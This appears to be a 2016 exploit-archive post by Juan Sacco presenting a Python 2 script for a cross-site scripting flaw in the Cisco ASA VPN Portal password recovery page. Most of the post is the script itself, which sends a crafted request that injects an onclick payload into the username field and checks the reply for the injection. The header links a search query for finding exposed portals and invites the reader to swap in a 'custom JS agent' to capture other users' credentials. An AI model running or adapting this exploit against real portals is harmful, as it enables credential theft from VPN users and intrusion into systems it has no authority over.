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Cisco ASA VPN Portal Cross Site Scripting

Posted on 18 February 2016

# Exploit author: Juan Sacco - jsacco@exploitpack.com
# Affected program: Cisco ASA VPN Portal - Zero Day
# Cisco ASA VPN is prone to a XSS on the password recovery page.
# This vulnerability can be used by an attacker to capture other user's
credentials.
# The password recovery form fails to filter properly the hidden inputs
fields.
#
# This Zero Day exploit has been developed and discovered by Juan Sacco.
# Exploit Pack - Team http://exploitpack.com
#
# Release Dates:
# Reported to Cisco PSIRT Feb 4/2016
# Cisco Dev Team working on a fix Feb 15/2016
# Cisco PSIRT report a CVE Feb 15/2016
# Exploit Pack disclose the bug Feb 15/2016
# Disclosure of the Exploit Feb 16/2016
#
# Look for vulnerable targets here:
https://www.google.nl/#safe=off&q=+%2F%2BCSCOE%2B%2F
# More than 18.000 results in Google only

import string, sys
import socket, httplib
import telnetlib

def run():
 try:
 Target = sys.argv[1]
Port = int(sys.argv[2])
# Here goes your custom JS agent code
Payload = "alert(1)"
VulnerableURL =
"/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=&status=0&username=juansacco%22%20accesskey%3dX%20onclick%3d"
+ Payload + "%20sacco&password_min=0&state=&tgroup=&serverType=0&password_"
CraftedRequest = VulnerableURL
 # Start the connection
connection = httplib.HTTPSConnection(Target)
connection.request('GET', CraftedRequest)
Response = connection.getresponse()
print "Server status response:", Response.status, Response.reason
data = Response.read()
vulnerable = "Target is not vulnerable"
for line in str(data).splitlines():
if "juansacco\"" in line:
vulnerable = "Targer is vulnerable"
if vulnerable != "Not vulnerable":
print "Result of the test:", vulnerable
# Find the injection on the response
connection.close()
 except Exception,e:
 print "Exploit connection closed " + str(e)

if __name__ == '__main__':
 print "Cisco VPN ASA Exploit - Zero Day"
 print "################################"
 print "Author: Juan Sacco - jsacco@exploitpack.com"

 try:
 Target = sys.argv[1]
 Port = sys.argv[2]
 except IndexError:
 pass
run()

 

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